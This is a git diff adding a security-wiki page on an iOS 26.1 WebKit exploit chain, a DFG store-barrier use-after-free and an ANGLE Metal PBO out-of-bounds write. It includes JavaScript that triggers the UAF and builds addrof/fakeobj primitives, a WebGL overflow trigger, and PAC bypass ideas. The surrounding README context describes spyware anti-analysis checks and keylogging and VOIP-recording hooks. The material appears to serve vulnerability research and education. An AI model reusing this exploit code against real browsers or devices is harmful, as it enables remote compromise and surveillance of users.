diff --git a/src/SUMMARY.md b/src/SUMMARY.md index ddb0a95a157..d26cf18f964 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -898,6 +898,7 @@ - [ios Corellium](binary-exploitation/ios-exploiting/ios-corellium.md) - [ios Heap Exploitation](binary-exploitation/ios-exploiting/ios-example-heap-exploit.md) - [ios Physical UAF - IOSurface](binary-exploitation/ios-exploiting/ios-physical-uaf-iosurface.md) + - [Webkit Dfg Store Barrier Uaf Angle Oob](binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md) # 🤖 AI - [AI Security](AI/README.md) diff --git a/src/binary-exploitation/ios-exploiting/README.md b/src/binary-exploitation/ios-exploiting/README.md index 9233fd34936..f7e8ff1f49b 100644 --- a/src/binary-exploitation/ios-exploiting/README.md +++ b/src/binary-exploitation/ios-exploiting/README.md @@ -1211,6 +1211,12 @@ WebKit renderer RCE -> kernel IPC UAF -> kernel arbitrary R/W -> code-sign bypas - **Watcher anti-analysis**: A dedicated watcher binary continuously profiles the device and aborts the kill-chain when a research environment is detected. It inspects `security.mac.amfi.developer_mode_status`, the presence of a `diagnosticd` console, locales `US` or `IL`, jailbreak traces such as **Cydia**, processes like `bash`, `tcpdump`, `frida`, `sshd`, or `checkrain`, mobile AV apps (McAfee, AvastMobileSecurity, NortonMobileSecurity), custom HTTP proxy settings, and custom root CAs. Failing any check blocks further payload delivery. - **Helper surveillance hooks**: The helper component speaks to other stages through `/tmp/helper.sock`, then loads hook sets named **DMHooker** and **UMHooker**. These hooks tap VOIP audio paths (recordings land under `/private/var/tmp/l/voip_%lu_%u_PART.m4a`), implement a system-wide keylogger, capture photos with no UI, and hook SpringBoard to suppress notifications that those actions would normally raise. The helper therefore acts as a stealthy validation + light-surveillance layer before heavier implants such as Predator are dropped. +### WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1) + +{{#ref}} +webkit-dfg-store-barrier-uaf-angle-oob.md +{{#endref}} + ### iMessage/Media Parser Zero-Click Chains {{#ref}} diff --git a/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md new file mode 100644 index 00000000000..0417231b9ec --- /dev/null +++ b/src/binary-exploitation/ios-exploiting/webkit-dfg-store-barrier-uaf-angle-oob.md @@ -0,0 +1,70 @@ +# WebKit DFG Store-Barrier UAF + ANGLE PBO OOB (iOS 26.1) + +{{#include ../../banners/hacktricks-training.md}} + +## Summary +- **DFG Store Barrier bug (CVE-2025-43529)**: In `DFGStoreBarrierInsertionPhase.cpp`, a **Phi node marked escaped while its Upsilon inputs are not** causes the phase to **skip inserting a write barrier** on subsequent object stores. Under GC pressure this lets JSC free still-reachable objects → **use-after-free**. +- **Exploit target**: Force a **Date** object to materialize a butterfly (e.g., `a[0] = 1.1`) so the butterfly is freed, then **reclaimed** as array element storage to build boxed/unboxed confusion → `addrof`/`fakeobj` primitives. +- **ANGLE Metal PBO bug (CVE-2025-14174)**: The Metal backend allocates the PBO staging buffer using `UNPACK_IMAGE_HEIGHT` instead of the real texture height. Supplying a tiny unpack height then issuing a large `texImage2D` causes a **staging-buffer OOB write** (~240KB in the PoC below). +- **PAC blockers on arm64e (iOS 26.1)**: TypedArray `m_vector` and JSArray `butterfly` are PAC-signed; forging fake objects with attacker-chosen pointers crashes with `EXC_BAD_ACCESS`/`EXC_ARM_PAC`. Only reusing **already-signed** butterflies (boxed/unboxed reinterpretation) works. + +## Triggering the DFG missing barrier → UAF +```js +function triggerUAF(flag, allocCount) { + const A = {p0: 0x41414141, p1: 1.1, p2: 2.2}; + arr[arr_index] = A; // Tenure A in old space + const a = new Date(1111); a[0] = 1.1; // Force Date butterfly + + // GC pressure + for (let j = 0; j < allocCount; ++j) forGC.push(new ArrayBuffer(0x800000)); + + const b = {p0: 0x42424242, p1: 1.1}; + let f = b; if (flag) f = 1.1; // Phi escapes, Upsilon not escaped + A.p1 = f; // Missing barrier state set up + + for (let i = 0; i < 1e6; ++i) {} // GC race window + b.p1 = a; // Store without barrier → frees `a`/butterfly +} +``` +Key points: +- Place **A** in old space to exercise generational barriers. +- Create an indexed **Date** so the **butterfly** is the freed target. +- Spray `ArrayBuffer(0x800000)` to force GC and widen the race. +- The Phi/Upsilon escape mismatch stops barrier insertion; `b.p1 = a` runs **without a write barrier**, so GC reclaims `a`/butterfly. + +## Butterfly reclaim → boxed/unboxed confusion +After GC frees the Date butterfly, spray arrays so the freed slab is reused as elements for two arrays with different element kinds: +```js +boxed_arr[0] = obj; // store as boxed pointer +const addr = ftoi(unboxed_arr[0]); // read as float64 → addr leak +unboxed_arr[0] = itof(addr); // write pointer bits as float +const fake = boxed_arr[0]; // reinterpret as object → fakeobj +``` +Status on **iOS 26.1 (arm64e)**: +- **Working:** `addrof`, `fakeobj`, 20+ address leaks per run, inline-slot read/write (on known inline fields). +- **Not stable yet:** generalized `read64`/`write64` via inline-slot backings. + +## PAC constraints on arm64e (why fake objects crash) +- **TypedArray `m_vector`** and **JSArray `butterfly`** are PAC-signed; forging pointers yields `EXC_BAD_ACCESS` / likely `EXC_ARM_PAC`. +- The confusion primitive works because it **reuses legitimate signed butterflies**; introducing unsigned attacker pointers fails authentication. +- Potential bypass ideas noted: JIT paths that skip auth, gadgets that sign attacker pointers, or pivoting through the ANGLE OOB. + +## ANGLE Metal PBO under-allocation → OOB write +Use a tiny unpack height to shrink the staging buffer, then upload a large texture so the copy overruns: +```js +gl.pixelStorei(gl.UNPACK_IMAGE_HEIGHT, 16); // alloc height +// staging = 256 * 16 * 4 = 16KB +// actual = 256 * 256 * 4 = 256KB → ~240KB OOB + +gl.texImage2D(gl.TEXTURE_2D, 0, gl.DEPTH_COMPONENT32F, + 256, 256, 0, gl.DEPTH_COMPONENT, gl.FLOAT, 0); +``` +Notes: +- Bug in `TextureMtl.cpp`: staging buffer uses `UNPACK_IMAGE_HEIGHT` instead of real texture height on the PBO path. +- In the referenced probe the WebGL2 PBO trigger is plumbed but not yet reliably observed on iOS 26.1. + +## References +- [WebKit-UAF-ANGLE-OOB-Analysis](https://github.com/zeroxjf/WebKit-UAF-ANGLE-OOB-Analysis) +- [jir4vv1t/CVE-2025-43529](https://github.com/jir4vv1t/CVE-2025-43529) + +{{#include ../../banners/hacktricks-training.md}}